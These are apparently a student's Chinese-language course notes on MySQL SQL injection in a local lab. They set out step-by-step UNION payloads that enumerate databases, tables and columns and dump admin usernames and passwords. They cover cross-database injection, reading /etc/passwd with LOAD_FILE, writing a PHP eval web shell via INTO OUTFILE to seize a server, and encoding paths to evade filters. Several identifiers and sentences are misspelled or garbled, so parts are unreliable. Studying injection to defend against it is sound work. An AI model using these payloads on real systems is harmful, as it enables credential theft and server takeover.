Bootstrap

小迪SQL注入第42天心得

以上内容为作者上课时的心得和笔记,如果有错误,请指正,十分感谢

access数据库注入,使用字典去猜

本节课可能会用到的一些数

mysql数据库5.0以上版本才会带有ioformation_schema数据库

ioformation_schema 内置存储信息(存储数据库下的数据库名以及表名,列名信息的数据库)

.代表下一级

ioformation_schema.schemta 记录数据库名信息的表

information_schema.tables 记录表名信息的表

ioformation_schema.columns 记录列名信息的表

schema_name: ioformation_schema.schemta 记录数据库名信息的列名值

table_schema: ioformation_schema.tables 记录数据库的列名值

table_name:information_schema.tables记录表名的列名值

column_name: ioformation_schema.columns 记录列名的列名值

一、基础注入

order by () 查询字段个数

1' order by 5

检测回显位置

1' union select 1,2,3,4,5 //如果没有爆出数字可以在1'前面加上-

如2,4和5爆出数字,则代表2,4和5可以进行注入,进行显示

第一步 查询数据库名字

database():数据库名字

version():数据库版本

@@version_compile_os:查询操作系统

用以上为例子2,4,5爆出数字,则代表这三个位置存在回显,可利用上面的函数进行查询

1' union select 1,version()3,database(),@@version_compile_os --+

运用以上语句可在回显示位置查询数据库版本,数据库名字,操作系统版本

效果图:

由以上可得数据库名字为demo01,则需要获取该数据库下的表名

第二步 获取表名

group_concat()合并所有符合条件的值,并且返回结果

在获取数据库名的前提下,通过mysql版本可得知该数据库下存在ioformation_schema(存储数据库下的数据库名以及表名,列名信息的数据库),可通过查询该数据库下的information_schema.tables(记录表名信息的表)得到该数据库下所有的表名,通过tables_schema函数获取demo01数据库下的所有表名,以便进行下一步

{查询demo01下的表名信息(借助information_schema.tables存储查询)}

1' union select 1,2,3,table_name,5 from information_schema.tables where table_schema = 'demo01'--+

information_schema.tables 存储数据库的表信息。table_schema='demo01' 会筛选出 demo01 数据库中的所有表名

在进行注入时,显示的表名只有一个,所以要在回显处加入函数group_concat() [合并所有符合条件的值,并且返回结果]

1' union select 1,2,3,group_concat(table_name),5 from information_schema.tables where table_schema = 'demo01'--

第三步 获取列名信息

通过获取的表名可以得到admin表,可以推断出重要数据就存在于这个表下,由此可以通过information.schema_columns(记录列名信息的表)取得admin表下的列名信息,通过已知信息可以得出需同时满足数据库名为demo01并且数据表名为admin

{查询数据库demo01名下的admin数据表的列名信息(借助information_schema.columns)}

1' union select 1,2,3,group_concat(column_name),5 from information_schema.columns where table_schema = 'dome01' and table_name = 'admin'--+

第四步 获取数据

通过上面的操作我们已经获取了所需要的信息,得到列名为username和password以及id,接下来可以通过修改回显数据来得到用户的隐私信息,可以直接通过查询admin表下的username列和password列来取得信息

1' union select 1,2,3,username,password from admin --+

前面所有的操作都是为了这一步,最终取得列名和表名来获取数据

如果有多条数据可以在表名信息后面加上(limit 0,1) 01代表第一条数据,02代表第二条数据

1' union select 1,2,3,username,password from admin limit 0,1 --+

如果没有回显,则在1'前面加上- 最后通过修改limit0,1中的0,1来获取数据

也可以通过添加where条件来获取数值,通过添加查询id的条件语句

1' union select 1,2,3,uasername,password from admin where id=1 --+

二、跨库注入查询

跨库注入是指利用Web应用程序的SQL注入漏洞,通过控制应用程序连接数据库的用户所拥有的权限,访问和操作该用户有权访问的其他数据库。 如果注入点对应的数据库用户具有高权限(例如root),攻击者就有可能利用该权限访问该用户管理下的所有数据库,从而实现跨库查询和数据窃取。 这意味着可以通过A网站的注入点,如果其数据库连接用户拥有B网站数据库的访问权限,就可以对B网站数据库进行注入。 关键前提是,AB两个网站的数据库必须在中,并且使用同一个数据库实例同一个具有足够权限的数据库用户来管理。

第一步 获取当前数据库下的所有数据库名

获取数据库名可以在注入点利用information_schema数据库下记录当前所有数据库名的schemta表来获取数据,通过schema_name(记录数据库名信息的列名值)来返回数据

formation_schema.schemta 记录数据库名信息的表

schema_name: ioformation_schema.schemta 记录数据库名信息的列名值

1' union select 1,group_concat(schema_name),3,4,5 from information_schema.schemta

通过获取的数据库名来进行推断,得出flag或所需详细所在的数据表

第二步 通过数据库名,获取表名

由已知得出

1' union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema = 'zblog'

由此获得表名信息

第三步 获取列名信息

由表名信息得出zbp_member表与用户信息相关,则对此进行注入,获取列名信息

1' union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name = 'zbp_member' and table_schema = 'zblog'

通过列名信息可以得出用户的详细信息在mem_Name和mem_Password两列中

第四步 获取用户信息

由已知表得出用户信息在mem_Name和mem_Password中,进行查询

因为目前使用的权限为A网站的,所查询的网站位置也在A网站的数据库中,所以需要from zblog.zbp_member

来跳转到zblog数据库下的zbp_member表来进行查询

1' union select 1,group_concat(mem_Name),3,group_name(mem_Password),5 from zblog.zbp_member

获取账号密码

综上所述,跨库注入和普通注入的差别在于需要在information_schema.schemta数据表下获取所需要注入的数据库名字以及最后查询数据时需要进行跳转,也就是from 数据库.数据表

造成跨库查询的主要原因在于不同的网站之间的数据库使用了同一管理员进行管理,导致A网站存在注入漏洞时可以通过其对B网站进行攻击

如果不知道当前用户权限,可以通过在数据查询时利用user()函数进行查询

user() 查看当前数据库用户权限

1' union select 1,user(),3,4,5

当前用户权限由用户配置文件config.php来决定

配置文件中进行连接的是root用户,则该注入点是root注入点,谁连接的,这个注入点的权限就是谁,如果是普通的demo123用户进行连接,该用户没有root权限,则不能进行跨库查询

SQL文件读写

LOLOAD_FILE(file_name) 函数接受一个参数 ,该参数指定要读取的文件路径。 该函数返回文件的内容作为字符串。 如果文件不存在、无法读取,或者权限不足,则返回 file_name零le_na

需要注意的是进行文件读写操作时,不仅仅需要root权限,还需要secure-file-priv设置保持开启

要成功使用 'LOAD_FILE 函数,需要满足以下条件:LOAD_FILE()

secure_file_priv 设置:MySQL (MySQL的 变量控制了 secure_file_privLOAD_FILE() 函数的可用性。 它有以下三种可能的值:

零: 禁用 函数。 这是最安全的选择。LOAD_FILE()

空字符串 (""): 允许从服务器上的任何位置读取文件。 非常不安全,强烈不建议使用!

目录路径: 允许从指定的目录读取文件。 相对安全一些,但仍然需要小心。

如果 设置为目录路径,则 secure_file_privLOAD_FILE() 只能读取该目录下的文件。 如果要禁用 ,应该将其设置为 LOAD_FILE()零。

文件存在且可读: 指定的文件必须存在于服务器的文件系统中,并且 MySQL 服务器进程必须具有读取该文件的权限。

用户权限: 执行 函数的用户需要具有 LOAD_FILE()文件 权限。 通常只有数据库管理员才拥有此权限。

在查询语句中插入函数可以直接查看服务器本地的文件

1' union select LOAD_FILE('/etc/passwd'), null --+

这条语句会尝试读取 文件,并将文件的内容作为结果返回

如果需要写入文件,则可在语句最后加上into outfile

1' union select 1,2,<?php eval($_POST[A]);?>,4,5 into outfile 'D:\\1.php' --+

可以通过这段语句对网站植入一句话木马,通过木马进行控制服务器的目的

需要注意的是,该语句只能对以有文件进行操作读写,所以需要进行信息收集,可以使用phpinfo()读取配置文件来获取文件地址

使用load_file()时如果遇到过滤,可以对文件路径进行编码,如果16进制、base64、url双重编码等

如果phpinfo()被禁用,则可以通过网站搭建的中间件来获取网站的配置信息,以阿帕奇为例,一般具有网站的安装默认路径,在安装默认路径下的conf文件夹中的vhosts文件夹具有当前网站的域名对应的解析关系,也就是配置关系

由此可以通过配置关系获取文件地址,对文件进行读写,通过写入一句话木马,做到后台的入侵,拿到服务器权限

举一反三,通过这个方法,像网站的配置文件和数据库的配置文件或者操作系统的敏感文件也可以读写

可用的文件地址详见另外一篇

另外地址可以通过网站的报错信息来获取,如果不知道路径,可以通过中间件的默认路径和数据库的安装默认路径来进行读取有价值的信息

总结

MYSQL注入:(目的获取当前web权限)

1、判断常见四个信息(系统,用户,数据库名,版本)

2、根据四个信息去选择方案

root用户:先测试读写,后测试获取数据

非root用户:直接测试获取数据

以下为小迪课上资料(迪总讲的真的很不错)

#PHP-MYSQL-Web组成架构
服务器安装MYSQL数据库,搭建多个站点,数据库集中存储MYSQL数据库中管理
可以都使用root用户管理也可以创建多个用户进行每个网站对应的数据库管理
1、统一交root用户管理
www.zblog.com  = zblog  = root =>MYSQL
www.demo01.com = demo01 = root =>MYSQL
2、一对一用户管理(推荐)
www.zblog.com  = zblog  = zblog =>MYSQL
www.demo01.com = demo01 = demo01 =>MYSQL

#PHP-MYSQL-SQL常规查询
获取相关数据:
1、数据库版本-看是否符合information_schema查询-version()
2、数据库用户-看是否符合ROOT型注入攻击-user()
3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()

MYSQL5.0以上版本:自带的数据库名information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.schemata:记录数据库名信息的表
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
schema_name:information_schema.schemata记录数据库名信息的列名值
table_schema:information_schema.tables记录数据库名的列名值
table_name:information_schema.tables记录表名的列名值
column_name:information_schema.columns记录列名的列名值

order by 6 
union select 1,2,3,4,5,6
union select 1,2,3,database(),user(),6
union select 1,2,3,version(),@@version_compile_os,6
union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01'
access无数据库用户

mysql里面有内置的管理用户,其中root就是默认数据库管理员用户
网站上面的数据库都在mysql中,由root或一对一用户去管理

1、数据库统一管理(root用户)
每个网站的数据库都由root用户统一管理
网站A:192.168.1.4:81  D:/phpstudy_pro/WWW/Z-Blog  数据库root用户  zblog
网站B:192.168.1.4:82  D:/phpstudy_pro/WWW/demo01  数据库root用户  demo01

mysql
	root(自带默认)
		网站A  testA
		网站B  testB


2、数据库一对一管理(不同用户)
自己的网站单独创建数据库用户去管理自己的数据库
网站A:192.168.1.4:81  D:/phpstudy_pro/WWW/Z-Blog  数据库zblog用户  zblog
网站B:192.168.1.4:82  D:/phpstudy_pro/WWW/demo01  数据库demo用户  demo01

mysql
	testA用户
		网站A  testA
	testb用户
		网站B  testB


接受的参数值未进行过滤直接带入SQL查询的操作 就是SQL注入产生的原理
攻击:利用SQL语句执行你想要的东西(SQL语句能干嘛,注入就能干嘛)
SQL语句能干嘛 = SQL语句由谁决定 => 数据库类型决定 (为什么mysql注入 oracle注入叫法原因)

http://localhost:63342/demo01/new.php?id=3
select * from news where id=3

http://localhost:63342/demo01/new.php?id=3 union select 1,2,username,password,5,6 from admin
select * from news where id=3 union select 1,2,username,password,5,6 from admin
;